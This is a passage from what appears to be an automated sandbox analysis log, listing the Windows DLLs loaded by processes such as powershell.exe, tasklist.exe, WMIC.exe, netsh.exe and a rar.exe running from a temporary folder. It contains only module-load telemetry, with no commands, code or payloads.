Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
